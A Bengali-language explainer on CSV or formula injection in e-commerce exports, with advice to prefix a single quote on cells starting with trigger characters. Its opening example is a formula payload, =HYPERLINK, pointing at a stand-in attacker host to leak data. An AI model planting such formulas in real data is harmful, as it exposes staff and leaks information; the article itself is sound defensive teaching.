CSV ইনজেকশন: সেই এক্সপোর্ট বাটন যা কোড রান করে
একজন গ্রাহক তার নাম লিখছেন। তিনি টাইপ করলেন =HYPERLINK("http://evil.example/leak", "click")। আপনার সিস্টেম এটি গ্রহণ করে নেয়। এটি দেখতে সাধারণ টেক্সটের মতো মনে হয়।
কয়েক সপ্তাহ পর, আপনার ফিন্যান্স টিম একটি কাস্টমার লিস্ট CSV হিসেবে এক্সপোর্ট করে। তারা ফাইলটি Excel-এ ওপেন করে। সেই সেলটি আর টেক্সট থাকে না; এটি একটি ফর্মুলা হয়ে যায়।
এটিই হলো CSV ইনজেকশন। অনেকে একে ফর্মুলা ইনজেকশনও বলেন। ই-কমার্স প্যানেলে এটি একটি সাধারণ বাগ (bug)। বেশিরভাগ টিম এটি পরীক্ষা করে দেখে না।
স্প্রেডশিট অ্যাপগুলো প্রতিটি সেলকে টেক্সট হিসেবে গণ্য করে না। যদি কোনো সেল =, +, -, বা @ দিয়ে শুরু হয়, তবে Excel বা Google Sheets সেটিকে একটি ফর্মুলা হিসেবে পড়ে।
একটি ফর্মুলা কেবল গণিতের চেয়েও বেশি কিছু করতে পারে। এটি একটি URL তৈরি করতে পারে। এটি কোনো নেটওয়ার্কের সাথে যোগাযোগ করতে পারে। কিছু ক্ষেত্রে, এটি কম্পিউটারে কমান্ড রান করতে পারে।
আপনার ডাটাবেসে ডেটাটি টেক্সট হিসেবেই থাকে। কিন্তু কোনো মানুষ ফাইলটি ওপেন করার মুহূর্তেই এটি এক্সিকিউটেবল (executable) হয়ে যায়। সাধারণত, উচ্চ পর্যায়ের অ্যাক্সেস থাকা কোনো স্টাফ বা কর্মী এর শিকার হন।
আপনি যেখানেই ইউজার ডেটা এক্সপোর্ট করছেন, সেখানেই ঝুঁকির মুখে আছেন:
- কাস্টমার নাম এবং অ্যাড্রেস এক্সপোর্ট
- CSV হিসেবে এক্সপোর্ট করা অর্ডার গ্রিড
- ভেন্ডরদের প্রোডাক্ট ফিড
- কন্টাক্ট ফর্মের ডেটা (dumps)
একজন আক্রমণকারীর অ্যাডমিন অ্যাক্সেসের প্রয়োজন নেই। তারা তাদের নিজের নামটিকে একটি ফর্মুলা হিসেবে সেট করে অপেক্ষা করে।
ইনপুট ভ্যালিডেশনের সময় এটি ঠিক করার চেষ্টা করবেন না। স্প্রেডশিট এটি পড়ার আগ পর্যন্ত ভ্যালুটি বৈধ টেক্সট হিসেবেই থাকে। পরিবর্তে, যখন আপনি CSV ফাইলটি লিখবেন, তখন ডেটাটি স্যানিটাইজ (sanitize) করুন।
যদি কোনো সেল =, +, -, @, একটি ট্যাব (tab), অথবা একটি ক্যারিজ রিটার্ন (carriage return) দিয়ে শুরু হয়, তবে তার শুরুতে একটি সিঙ্গেল কোট (') যোগ করুন।
উদাহরণস্বরূপ লজিক: If the value starts with a trigger character, return "'" + value.
সিঙ্গেল কোট স্প্রেডশিটকে নির্দেশ দেয় যেন সেলটিকে টেক্সট হিসেবে গণ্য করা হয়। স্প্রেডশিট ব্যবহারকারীর কাছ থেকে সেই কোটটি লুকিয়ে রাখে। ফাইলটিতে ডেটা প্রবেশের আগে প্রতিটি ফিল্ড এই চেকের মধ্য দিয়ে নিয়ে যান।
আপনার ডাটাবেসে ডেটা এস্কেপ (escape) করার প্রয়োজন নেই। আপনার ডাটাবেস এবং HTML-এ ভ্যালুটি ঠিক আছে। এটি কেবল CSV-তে বিপজ্জনক। আপনার ডেটা অন্যান্য জায়গায় নিরাপদ রাখতে CSV বাউন্ডারিটি সুরক্ষিত রাখুন।
আপনার ইন্টারনাল এক্সপোর্টগুলোর ওপর অন্ধবিশ্বাস করা বন্ধ করুন। আক্রমণকারীরা এই ফাইলগুলোর মাধ্যমে আপনার স্টাফদের টার্গেট করে।
CSV ইনজেকশন কোনো ভীতিজনক স্ক্যানার অ্যালার্ট দেয় না। এটি আপনার তৈরি করা সেই পুরনো এক্সপোর্ট বাটনের আড়ালে লুকিয়ে থাকে। এখনই আপনার CSV এক্সপোর্ট কোডটি পরীক্ষা করুন। আপনি যদি প্রতিটি সেলের প্রথম ক্যারেক্টার সুরক্ষিত না করেন, তবে আপনি ঝুঁকির মুখে আছেন।
